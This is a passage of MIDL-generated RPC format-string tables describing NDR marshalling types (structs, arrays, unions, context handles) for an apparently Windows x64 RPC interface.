*/\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2640 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2642 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2644 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (2668) */\n/* 2646 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 2648 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2650 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2652 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2654 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2656 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2658 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2662 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2666 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2668 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2670 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2674 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (2684) */\n/* 2676 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2678 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2680 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2682 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2684 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2686 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2688 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2690 */\tNdrFcShort( 0xffd4 ),\t/* Offset= -44 (2646) */\n/* 2692 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2694 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2696 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2698 */\tNdrFcShort( 0x1a0 ),\t/* Offset= 416 (3114) */\n/* 2700 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2702 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2704 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 2706 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2708 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2710 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2714 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2718 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2720) */\n/* 2720 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2722 */\tNdrFcShort( 0x3004 ),\t/* 12292 */\n/* 2724 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2728 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (2750) */\n/* 2730 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2734 */\tNdrFcShort( 0x4e ),\t/* Offset= 78 (2812) */\n/* 2736 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2740 */\tNdrFcShort( 0xa8 ),\t/* Offset= 168 (2908) */\n/* 2742 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 2746 */\tNdrFcShort( 0x104 ),\t/* Offset= 260 (3006) */\n/* 2748 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2747) */\n/* 2750 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2752 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (2796) */\n/* 2754 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2756 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2758 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2760 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2762 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2764 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2766 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2770 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2774 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2778 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2780 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2782 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2786 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2790 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2792 */\tNdrFcShort( 0xff84 ),\t/* Offset= -124 (2668) */\n/* 2794 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2796 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2798 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2800 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2802 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2808) */\n/* 2804 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2806 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2808 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2810 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2754) */\n/* 2812 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2814 */\tNdrFcShort( 0x4e ),\t/* Offset= 78 (2892) */\n/* 2816 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2818 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 2820 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2822 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (2834) */\n/* 2824 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2826 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2828 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2830 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2832 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2834 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2836 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2838 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2840 */\tNdrFcShort( 0xff3e ),\t/* Offset= -194 (2646) */\n/* 2842 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2844 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2846 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2848 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2850 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2852 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2854 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2856 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2858 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2860 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2862 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2866 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2870 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2874 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2876 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2878 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2882 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2886 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2888 */\tNdrFcShort( 0xffb8 ),\t/* Offset= -72 (2816) */\n/* 2890 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2892 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2894 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2896 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2898 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2904) */\n/* 2900 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2902 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2904 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2906 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2850) */\n/* 2908 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2910 */\tNdrFcShort( 0x50 ),\t/* Offset= 80 (2990) */\n/* 2912 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2914 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 2916 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2918 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (2932) */\n/* 2920 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2922 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2924 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2926 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2928 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2930 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2932 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2934 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2936 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2938 */\tNdrFcShort( 0xfedc ),\t/* Offset= -292 (2646) */\n/* 2940 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2942 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2944 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2946 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2948 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2950 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2952 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2954 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2956 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2958 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2960 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2964 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2968 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2972 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2974 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2976 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2980 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2984 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2986 */\tNdrFcShort( 0xffb6 ),\t/* Offset= -74 (2912) */\n/* 2988 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2990 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2992 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2994 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2996 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3002) */\n/* 2998 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3000 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3002 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3004 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (2948) */\n/* 3006 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3008 */\tNdrFcShort( 0x5a ),\t/* Offset= 90 (3098) */\n/* 3010 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 3012 */\tNdrFcShort( 0x100 ),\t/* 256 */\n/* 3014 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3016 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3018 */\tNdrFcShort( 0x138 ),\t/* 312 */\n/* 3020 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3022 */\tNdrFcShort( 0x12 ),\t/* Offset= 18 (3040) */\n/* 3024 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3026 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3028 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3030 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3032 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3034 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3036 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (3010) */\n/* 3038 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3040 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3042 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3044 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3046 */\tNdrFcShort( 0xfe70 ),\t/* Offset= -400 (2646) */\n/* 3048 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3050 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3052 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3054 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3056 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3058 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3060 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3062 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3064 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3066 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3068 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3072 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3076 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3080 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3082 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3084 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3088 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3092 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3094 */\tNdrFcShort( 0xffb2 ),\t/* Offset= -78 (3016) */\n/* 3096 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3098 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3100 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3102 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3104 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3110) */\n/* 3106 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3108 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3110 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3112 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3056) */\n/* 3114 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3116 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3118 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3120 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3120) */\n/* 3122 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3124 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3126 */\tNdrFcShort( 0xfe56 ),\t/* Offset= -426 (2700) */\n/* 3128 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3130 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 3132 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3134) */\n/* 3134 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3136 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3138) */\n/* 3138 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3140 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 3142 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3144 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3146 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3148 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3150 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3152 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3154 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3156 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3158 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3160) */\n/* 3160 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 3162 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3164 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3166 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3168 */\tNdrFcShort( 0x10 ),\t/* Corr flags:  */\n/* 3170 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3172 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3176 */\tNdrFcLong( 0xfa00 ),\t/* 64000 */\n/* 3180 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3182 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 3184 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3188 */\tNdrFcLong( 0xfa00 ),\t/* 64000 */\n/* 3192 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 3194 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3196 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3198 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3200) */\n/* 3200 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 3202 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 3204 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3206 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3208 */\tNdrFcShort( 0x10 ),\t/* Corr flags:  */\n/* 3210 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3212 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3216 */\tNdrFcLong( 0xfa00 ),\t/* 64000 */\n/* 3220 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3222 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 3224 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3228 */\tNdrFcLong( 0xfa00 ),\t/* 64000 */\n/* 3232 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3234 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3236) */\n/* 3236 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 3238 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3240 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3242 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3244) */\n/* 3244 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 3246 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3248 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 3250 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3252) */\n/* 3252 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3254 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3256) */\n/* 3256 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3258 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3260 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3262 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3268) */\n/* 3264 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3266 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3268 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3270 */\tNdrFcShort( 0xf7f8 ),\t/* Offset= -2056 (1214) */\n/* 3272 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3274 */\tNdrFcShort( 0xffee ),\t/* Offset= -18 (3256) */\n/* 3276 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3278 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3280) */\n/* 3280 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3282 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3284 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3286 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3288 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3290 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3294 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3298 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3300) */\n/* 3300 */\tNdrFcShort( 0x138 ),\t/* 312 */\n/* 3302 */\tNdrFcShort( 0x3004 ),\t/* 12292 */\n/* 3304 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3308 */\tNdrFcShort( 0xfd80 ),\t/* Offset= -640 (2668) */\n/* 3310 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3314 */\tNdrFcShort( 0xfe0e ),\t/* Offset= -498 (2816) */\n/* 3316 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 3320 */\tNdrFcShort( 0xfe68 ),\t/* Offset= -408 (2912) */\n/* 3322 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 3326 */\tNdrFcShort( 0xfeca ),\t/* Offset= -310 (3016) */\n/* 3328 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3327) */\n/* 3330 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3332 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3340) */\n/* 3334 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 3336 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3338 */\t0x1,\t\t/* FC_BYTE */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3340 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3342 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3344 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 3346 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3348 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfff1 ),\t/* Offset= -15 (3334) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3352 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3354 */\tNdrFcShort( 0x3e ),\t/* Offset= 62 (3416) */\n/* 3356 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3358 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3362 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3370) */\n/* 3364 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3366 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (3340) */\n/* 3368 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3370 */\t\n\t\t\t0x12, 